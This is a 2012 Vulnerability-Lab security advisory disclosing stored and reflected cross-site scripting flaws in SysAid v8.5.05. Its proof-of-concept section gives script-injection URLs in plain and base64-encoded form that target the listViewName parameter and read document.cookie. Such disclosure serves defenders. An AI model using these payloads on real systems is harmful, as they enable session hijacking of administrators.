Document Title:
===============
Ilient SysAid v8.5.05 - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=470


Release Date:
=============
2012-03-07


Vulnerability Laboratory ID (VL-ID):
====================================
470


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
SysAid IT Enterprise Edition is an IT management solution that includes a suite of advanced modules to help you manage 
complex processes often found in larger organizations. Specially built to provide you with advanced customization and scalability, 
SysAid IT Enterprise delivers the tools you need to meet any IT challenge - now and in the future.

Core Module(s):
Help Desk
Asset Management
Remote Control
End-User Web Portal
My Desktop
Mobile Application
Knowledge Base
Reports & Analysis
IT Benchmark
Online Chat
Calendar & Scheduling


Advanced Module(s):
Server Monitoring
Tasks and Projects
Manager Dashboard
CMDB
Password Services


Enterprise Module(s):
ITIL Package
Increased Customization
API and Advanced Integration
Multi-Site Support
SLA/SLM


Abstract Advisory Information:
==============================
A Vulnerability Laboratory Researcher discovered multiple persistent and non-persistent Web Vulnerabilities in Ilients SysAid v8.5.05.


Vulnerability Disclosure Timeline:
==================================
2012-03-08:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================
Ilient
Product: SysAid 8.5.05 


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
Multiple non-persistent and persistent input validation vulnerabilities are detected on Ilient 
SysAid v8.5.05 and below. The bugs allow remote attackers to implement/inject malicious script 
code on the application-side (persistent) and temporarily on the user side (non-persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or 
stable (persistent) context manipulation.

1.1
Vulnerable Module(s): (Persistent)

									[+] Name & Information - Profile
									[+] User Management - Listing & Display
									[+] StartPage - Index

Picture(s):
									../1.png
									../2.png
									../3.png
									../4.png
									../5.png

1.2
Vulnerable Module(s): (Non Persistent)

									[+] ViewName
									[+] CustomListView
									[+] srType

Picture(s):
									../6.png
									../7.png


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attacker with required user inter aciton. For demonstration or reproduce ...

1.1 - Persistent
All fields in the user-profile are vulnerable which are displayed somewhere on the frontend, like: Phone, Email or Name
To exploit the issue a user just need to include his own script code on his profile section & start a inter action.

Persistent(Frontpage):
<tablewidth="100%"cellspacing="5"cellpadding="5"border="0"class="Maxed">
<tbody><trvalign="top"><tdwidth="50%"style="padding:10px;"id="Container_1"><tableclass="MaxedContainerContainer_1">
<tbody><tr>
<tdclass="Container_Header">
<table>
<tbody><tr>
<tdclass="Container_Header_First">
<tdclass="Container_Header_Center">
Administratorsonline
</td><tdclass="Container_Header_Last">
</td>

</tr>
</tbody></table></td>
</tr>
<tr>
<tdclass="Container_Body">
<divclass="BorderFix_FFForm_Ctrl_Label">
<br/>
1Users<br/>
JulienAhrens<EXCUTES PERSISTENT SCRIPt CODE HERE!></div></td></tr></tbody></table></td></tr></tbody>
</table></div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></body></html>



1.2
Non-persistent XSS:
http://localhost:8080/sysaid/CustomizeListView.jsp?listName=Assets&listViewName=<script>alert(document.cookie)</script>

or base64 encoded:
http://localhost:8080/sysaid/CustomizeListView.jsp?listName=Service%20Requests&srType=1&listViewName=@BASE64@PHNjcmlwdD5hb
GVydChlc2NhcGUoZG9jdW1lbnQuY29va2llKSk8L3NjcmlwdD4=



Non-persistent(listViewName):

<tdcolspan="6"class="Frame_Body_Center">
<tablewidth="100%"border="0"class="Maxed">

<tbody><trvalign="top">
<tdstyle="padding:10px;"id="Conainer_1">
<tablewidth=""cellspacing="0"cellpadding="0"border="0">
<tbody><tr>
<td>
<tablewidth="100%"cellspacing="0"cellpadding="0"border="0"class="MaxedContainerContainer_1">

<tbody><tr>
<tdclass="Container_Header">

<table>
<tbody><tr>
<tdclass="Container_Header_First"/>
<tdclass="Container_Header_Center">
<palign="center"style="font-size:16px;">Customizelist-Assets-<EXCUTES PERSISTENT SCRIPt CODE HERE> 

</p></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr>
</tbody></table></td></tr></tbody></table></form></body></html>


Security Risk:
==============
The security risk of the vulnerabilities are estimated as medium(-).


Credits & Authors:
==================
Vulnerability Research Laboratory   -   Julien Ahrens  (MrTuxracer)  [www.inshell.net]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory